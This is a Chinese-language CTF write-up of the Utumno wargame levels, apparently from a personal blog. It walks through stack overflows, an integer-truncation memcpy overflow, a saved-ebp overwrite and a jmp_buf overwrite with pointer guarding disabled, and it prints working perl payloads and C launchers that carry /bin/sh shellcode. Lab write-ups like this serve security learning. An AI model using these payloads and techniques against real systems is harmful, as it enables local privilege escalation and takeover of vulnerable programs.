utumno0
和semtex4类似,这次的也是没有读权限。还是用xocopy把内容dump出来,elf地址用的是0x08048000。再用strings查看,发现类似是密码的内容utumno1
会打开目录,检查包含的文件的文件名。必须要是以sh_开头;然后漏洞在run函数里面,会把d_name[3]的地址放到返回地址。所以把payload放在文件名sh_的后面即可。把shellcode放环境变量,然后payload是跳转到那里
$ touch `perl -e 'print "1/sh_" . "\xb8\xf3\xd8\xff\xff\xff\xe0"'` $ /utumno/utumno1 1
utumno2
有点类似于之前的vortex4,也是要求argc为0,只能把payload放到环境变量里。argv={NULL},所以argv+40就是env[9]。我们把shellcode放到env[0],env[9]放shellcode的地址,那么strcpy就会把返回地址重写。 在构造env时注意,在结束之前都不要包含NULL,否则会被认为env结束而忽略掉后面的内容
#include <stdio.h>#include <stdlib.h>intmain(intargc,char*args[]){char*env="ABCDABCDABCDABCDABCDABCD""\xa9\xdf\xff\xff";char*shellcode="SHELLCODE=\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";char*t="";char*argv[]={NULL};char*envp[]={shellcode,t,t,t,t,t,t,t,t,env,NULL};//execve("././././envAddr", argv, envp);execve("/utumno/utumno2",argv,envp);}
- utumno3
这里会一个个地读字符,在v2那里可以做到修改返回地址。为此,我们找到v2和返回地址的距离是0x2c,那么往v1里填的字符就应该是0x2c^0, 0x2d^3, 0x2e^6, 0x2f^9。我试了invoke shell,但没反应,加上cat也不行;所以只好用读文件的shellcode了$ perl -e 'print "\x2c\xc8\x2e\xd8\x28\xff\x26\xff"' | /utumno/utumno3
- utumno4
memcpy当然存在overflow,因为复制的大小是我们提供的;虽然对大小做了个检查,但是是把大小存到short里面再比较的。由于起始位置与返回地址相距0xff0e,我们只需提供大小为0x10000,那么就可以覆盖到返回地址,并且大小检查也符合$ /utumno/utumno4 65536 `perl -e 'print "A"x65294 . "\xef\xd8\xff\xff"'`
- utumno5
和utumno2类似,不过问题在函数hihi里。这次检查了字符串的长度,最多只能覆盖保存的ebp,但通过修改ebp,可以使main函数返回时的leave
跳到错误的地方,进而返回地址用我们提供的地址
#include <stdio.h>#include <stdlib.h>intmain(intargc,char*args[]){char*env="\xfe\xfe\xfe\xfe\xb1\xdf\xff\xff""AAAAAAAA""\xf8\xdd\xff\xff";char*shellcode="SHELLCODE=\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";char*t="";char*argv[]={NULL};char*envp[]={shellcode,t,t,t,t,t,t,t,t,env,NULL};//execve("././././envAddr", argv, envp);//execve("././././ebpAddr", argv, envp);execve("././././utumno5",argv,envp);}
- utumno6
malloc之后没有free,这点就很奇怪。于是通过v5=-1,可以修改v3的值为返回地址,那么接下来strcpy就可以修改返回地址了。$ /utumno/utumno6 -1 0xffffd6fc `perl -e 'print "\xf4\xd8\xff\xff"'`
utumno7
由于用的是exit,所以不能通过strcpy修改返回地址。由于jmp_buf保存在栈上,我们可以修改这个。具体地,setjmp会保存寄存器
(gdb) x/20i setjmp 0xf7e4f280 <setjmp>: mov 0x4(%esp),%eax 0xf7e4f284 <setjmp+4>: mov %ebx,(%eax) 0xf7e4f286 <setjmp+6>: mov %esi,0x4(%eax) 0xf7e4f289 <setjmp+9>: mov %edi,0x8(%eax) 0xf7e4f28c <setjmp+12>: lea 0x4(%esp),%ecx 0xf7e4f290 <setjmp+16>: xor %gs:0x18,%ecx 0xf7e4f297 <setjmp+23>: rol $0x9,%ecx 0xf7e4f29a <setjmp+26>: mov %ecx,0x10(%eax) 0xf7e4f29d <setjmp+29>: mov (%esp),%ecx 0xf7e4f2a0 <setjmp+32>: xor %gs:0x18,%ecx 0xf7e4f2a7 <setjmp+39>: rol $0x9,%ecx 0xf7e4f2aa <setjmp+42>: mov %ecx,0x14(%eax) 0xf7e4f2ad <setjmp+45>: mov %ebp,0xc(%eax) 0xf7e4f2b0 <setjmp+48>: push $0x1 0xf7e4f2b2 <setjmp+50>: pushl 0x8(%esp) 0xf7e4f2b6 <setjmp+54>: call 0xf7e4f230 <__sigjmp_save>
也就是说,依次保存ebx,esi,edi,ebp,处理过的esp,处理过的eip。由于处理时会和$gs:0x18做xor,这就导致结果不确定了……我试了下,确实每次运的时候,第5、6个的值都不一样。
后来还是在网上搜了之后才发现的。ld.so的manual里是这么说的:
LD_POINTER_GUARD
(glibc since 2.4) Set to 0 to disable pointer guarding. Any other value enables pointer guarding, which is also the default.
Pointer guarding is a security mechanism whereby some pointers to code stored in writable program memory (return addresses saved by
setjmp(3) or function pointers used by various glibc internals) are mangled semi-randomly to make it more difficult for an attacker
to hijack the pointers for use in the event of a buffer overrun or stack-smashing attack.
也就是说,我们需要先
$export LD_POINTER_GUARD=0
这样,每次jmp_buf里的esp和eip就不随机了,但rotation还是有的。我们用python来计算rotation
rol=lambdaval,r_bits,max_bits: \
(val<<r_bits%max_bits)&(2**max_bits-1)| \
((val&(2**max_bits-1))>>(max_bits-(r_bits%max_bits)))ror=lambdaval,r_bits,max_bits: \
((val&(2**max_bits-1))>>r_bits%max_bits)| \
(val<<(max_bits-(r_bits%max_bits))&(2**max_bits-1))
由于跳转到shellcode后,要保证栈可读可写,我们让esp还是恢复到正确的值,只是eip到环境变量里的shellcode。通过jobs -l
获得进程的pid,再用kill -10 pid
来发送信号。要发两次,第一次后调用strcpy,覆盖eip,等第二次信号时,跳到我们给的eip。此外,可能是jump的原因,两次信号要用不同的,正好他设了两个handler,10和12。
utumno7@melinda:/tmp/nabla$ /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
^Z
[1]+ Stopped /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ jobs -l
[1]+ 1987 Stopped /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ kill -10 1987
utumno7@melinda:/tmp/nabla$ fg
/utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
^Z
[1]+ Stopped /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ kill -12 1987
utumno7@melinda:/tmp/nabla$ fg
/utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`$ id
uid=16007(utumno7)gid=16007(utumno7)euid=16008(utumno8)groups=16008(utumno8),16007(utumno7)